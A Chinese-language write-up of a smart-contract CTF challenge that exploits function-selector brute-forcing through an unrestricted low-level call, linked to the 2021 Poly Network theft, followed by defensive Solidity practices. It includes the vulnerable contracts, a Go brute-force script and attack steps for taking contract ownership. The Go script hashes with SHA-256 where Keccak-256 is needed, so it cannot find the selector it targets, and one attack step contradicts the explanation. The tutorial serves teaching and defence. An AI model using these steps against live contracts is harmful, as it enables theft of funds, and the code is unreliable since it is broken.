从一道智能合约赛题看Poly Network 事件
字数 1621 2025-08-09 13:33:49

智能合约安全分析:从函数签名爆破到Poly Network事件

1. 漏洞背景与概述

本教学文档将详细分析一种基于函数签名爆破的智能合约攻击手法,这种手法与2021年Poly Network遭受的6.1亿美元攻击事件中使用的技术类似。攻击的核心在于:

  1. 函数签名值的爆破
  2. 错误的合约所有权设置
  3. 不安全的call调用使用

2. 漏洞代码分析

2.1 目标合约结构

分析的目标合约分为两个部分:

DVT3.sol (核心权限合约)

function changeOwner(address newOwner) public onlyOwner returns(bool) {
    require(newOwner != address(0));
    emit OwnerExchanged(owner, newOwner);
    owner = newOwner;
    return true;
}

function payforflag() public onlyOwner {
    emit SendFlag(msg.sender);
}

关键点:

  • changeOwnerpayforflag都受onlyOwner修饰符保护
  • 正常情况下无法直接调用这些函数

Airdrop.sol (存在漏洞的合约)

function TransferOrAirDrop(address to, bool isTransfer, bytes calldata _method, uint256 amount) external {
    if (isTransfer) {
        bytes memory returnData;
        bool success;
        (success, returnData) = token.call(abi.encodePacked(
            bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),
            abi.encode(msg.sender,to,amount)
        ));
        require(success, "executeProposal failed");
    } else {
        // 空投逻辑...
    }
}

关键漏洞点:

  1. 使用call进行低级调用
  2. _method参数完全可控
  3. 没有对调用的函数名做任何限制
  4. DVT3合约的owner被设置为Airdrop合约地址

3. 攻击原理详解

3.1 函数签名爆破基础

在Solidity中,函数调用是通过函数签名(即函数选择器)来识别的。函数签名是函数名和参数类型的Keccak-256哈希的前4个字节。

例如:

import sha3
p = sha3.keccak_256()
p.update(b'changeOwner(address)')
print(p.hexdigest()[:8])  # 输出: a6f9dae1

3.2 攻击向量分析

攻击者需要找到一个字符串_method,使得:

keccak256(abi.encodePacked(_method, "(address,address,uint256)"))的前4字节 == 0xa6f9dae1

这样,当调用:

token.call(abi.encodePacked(
    bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),
    abi.encode(msg.sender,to,amount)
));

实际上等同于调用:

token.call(abi.encodePacked(
    bytes4(0xa6f9dae1),  // changeOwner(address)的签名
    abi.encode(msg.sender)  // 新的owner地址
));

3.3 参数传递机制

Solidity的参数传递会自动对齐:

  • 虽然原始函数需要(address,address,uint256)三个参数
  • changeOwner只需要一个address参数
  • Solidity会从提供的参数中自动取第一个address作为参数

4. 攻击实施步骤

4.1 函数签名爆破

编写爆破脚本寻找满足条件的_method值:

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"sync"
)

func worker(start, end int, wg *sync.WaitGroup, result chan<- string) {
	defer wg.Done()
	
	h := sha256.New()
	
	for i := start; i < end; i++ {
		method := fmt.Sprintf("func%d", i)
		data := method + "(address,address,uint256)"
		
		h.Reset()
		h.Write([]byte(data))
		hash := h.Sum(nil)
		
		if hex.EncodeToString(hash[:4]) == "a6f9dae1" {
			result <- method
			return
		}
	}
}

func main() {
	const numWorkers = 16
	const rangeSize = 10000000
	
	result := make(chan string)
	var wg sync.WaitGroup
	
	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(i*rangeSize, (i+1)*rangeSize, &wg, result)
	}
	
	go func() {
		wg.Wait()
		close(result)
	}()
	
	found := <-result
	fmt.Println("Found method:", found)
}

4.2 构造攻击交易

找到合适的_method后,构造攻击交易:

  1. 设置isTransfer = true
  2. 使用爆破得到的_method
  3. 设置to为攻击者自己的地址
  4. amount值不重要,可以设为0

4.3 获取合约所有权

成功调用后:

  1. 通过changeOwner函数将DVT3合约的owner改为攻击者地址
  2. 现在可以正常调用payforflag函数
  3. 触发SendFlag事件完成攻击

5. Poly Network事件关联分析

5.1 Poly Network漏洞代码

在Poly Network的_executeCrossChainTx函数中存在类似漏洞:

(success, returnData) = _toContract.call(abi.encodePacked(
    bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), 
    abi.encode(_args, _fromContractAddr, _fromChainId)
));

5.2 实际攻击流程

  1. 攻击者爆破找到能匹配putCurEpochConPubKeyBytes(bytes)函数签名的_method
  2. 调用该函数替换Keeper的公钥:
    function putCurEpochConPubKeyBytes(bytes memory curEpochPkBytes) public whenNotPaused onlyOwner {
        ConKeepersPkBytes = curEpochPkBytes;
        return true;
    }
    
  3. 使用新的私钥签名合法交易
  4. 转移LockProxy合约管理的资产

6. 防护措施

6.1 安全的call调用实践

  1. 避免直接使用用户输入的_method参数

    // 不安全
    token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "..."))), ...));
    
    // 安全做法 - 使用预定义的函数选择器
    bytes4(keccak256("safeFunction(address)"));
    
  2. 使用白名单限制可调用的函数

    mapping(bytes4 => bool) public allowedFunctions;
    
    function callSafe(address to, bytes4 funcSelector, bytes memory data) external {
        require(allowedFunctions[funcSelector], "Function not allowed");
        (bool success, ) = to.call(abi.encodePacked(funcSelector, data));
        require(success, "Call failed");
    }
    

6.2 权限控制最佳实践

  1. 使用OpenZeppelin的Ownable合约

    import "@openzeppelin/contracts/access/Ownable.sol";
    
    contract MyContract is Ownable {
        function sensitiveFunction() public onlyOwner {
            // ...
        }
    }
    
  2. 避免将合约地址设置为owner

    // 不安全
    owner = address(airdropContract);
    
    // 安全做法 - 使用多签或时间锁
    

6.3 其他防御措施

  1. 使用检查-效果-交互模式

    function safeWithdraw() external {
        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;  // 先更新状态
        (bool success, ) = msg.sender.call{value: amount}("");  // 后交互
        require(success, "Transfer failed");
    }
    
  2. 进行全面的单元测试

    • 测试所有可能的函数签名组合
    • 测试边界条件下的合约行为

7. 总结

本教学文档详细分析了基于函数签名爆破的智能合约攻击手法,其核心要点包括:

  1. 漏洞成因

    • 不安全的call调用允许任意函数执行
    • 缺乏对函数调用的白名单限制
    • 错误的权限设置
  2. 攻击流程

    • 爆破找到匹配目标函数签名的输入
    • 利用参数自动对齐特性传递正确参数
    • 获取合约控制权后执行恶意操作
  3. 实际案例

    • Poly Network事件中攻击者利用相同手法替换Keeper公钥
    • 最终导致6.1亿美元资产被盗
  4. 防御措施

    • 严格控制call调用的使用
    • 实现完善的权限控制系统
    • 进行全面的安全审计和测试

通过深入理解这种攻击手法,开发者可以更好地保护自己的智能合约免受类似攻击,提高整个区块链生态系统的安全性。

智能合约安全分析:从函数签名爆破到Poly Network事件 1. 漏洞背景与概述 本教学文档将详细分析一种基于函数签名爆破的智能合约攻击手法,这种手法与2021年Poly Network遭受的6.1亿美元攻击事件中使用的技术类似。攻击的核心在于: 函数签名值的爆破 错误的合约所有权设置 不安全的call调用使用 2. 漏洞代码分析 2.1 目标合约结构 分析的目标合约分为两个部分: DVT3.sol (核心权限合约) 关键点: changeOwner 和 payforflag 都受 onlyOwner 修饰符保护 正常情况下无法直接调用这些函数 Airdrop.sol (存在漏洞的合约) 关键漏洞点: 使用 call 进行低级调用 _method 参数完全可控 没有对调用的函数名做任何限制 DVT3合约的owner被设置为Airdrop合约地址 3. 攻击原理详解 3.1 函数签名爆破基础 在Solidity中,函数调用是通过函数签名(即函数选择器)来识别的。函数签名是函数名和参数类型的Keccak-256哈希的前4个字节。 例如: 3.2 攻击向量分析 攻击者需要找到一个字符串 _method ,使得: 这样,当调用: 实际上等同于调用: 3.3 参数传递机制 Solidity的参数传递会自动对齐: 虽然原始函数需要 (address,address,uint256) 三个参数 但 changeOwner 只需要一个 address 参数 Solidity会从提供的参数中自动取第一个 address 作为参数 4. 攻击实施步骤 4.1 函数签名爆破 编写爆破脚本寻找满足条件的 _method 值: 4.2 构造攻击交易 找到合适的 _method 后,构造攻击交易: 设置 isTransfer = true 使用爆破得到的 _method 值 设置 to 为攻击者自己的地址 amount 值不重要,可以设为0 4.3 获取合约所有权 成功调用后: 通过 changeOwner 函数将DVT3合约的owner改为攻击者地址 现在可以正常调用 payforflag 函数 触发 SendFlag 事件完成攻击 5. Poly Network事件关联分析 5.1 Poly Network漏洞代码 在Poly Network的 _executeCrossChainTx 函数中存在类似漏洞: 5.2 实际攻击流程 攻击者爆破找到能匹配 putCurEpochConPubKeyBytes(bytes) 函数签名的 _method 调用该函数替换Keeper的公钥: 使用新的私钥签名合法交易 转移LockProxy合约管理的资产 6. 防护措施 6.1 安全的call调用实践 避免直接使用用户输入的_ method参数 : 使用白名单限制可调用的函数 : 6.2 权限控制最佳实践 使用OpenZeppelin的Ownable合约 : 避免将合约地址设置为owner : 6.3 其他防御措施 使用检查-效果-交互模式 : 进行全面的单元测试 : 测试所有可能的函数签名组合 测试边界条件下的合约行为 7. 总结 本教学文档详细分析了基于函数签名爆破的智能合约攻击手法,其核心要点包括: 漏洞成因 : 不安全的call调用允许任意函数执行 缺乏对函数调用的白名单限制 错误的权限设置 攻击流程 : 爆破找到匹配目标函数签名的输入 利用参数自动对齐特性传递正确参数 获取合约控制权后执行恶意操作 实际案例 : Poly Network事件中攻击者利用相同手法替换Keeper公钥 最终导致6.1亿美元资产被盗 防御措施 : 严格控制call调用的使用 实现完善的权限控制系统 进行全面的安全审计和测试 通过深入理解这种攻击手法,开发者可以更好地保护自己的智能合约免受类似攻击,提高整个区块链生态系统的安全性。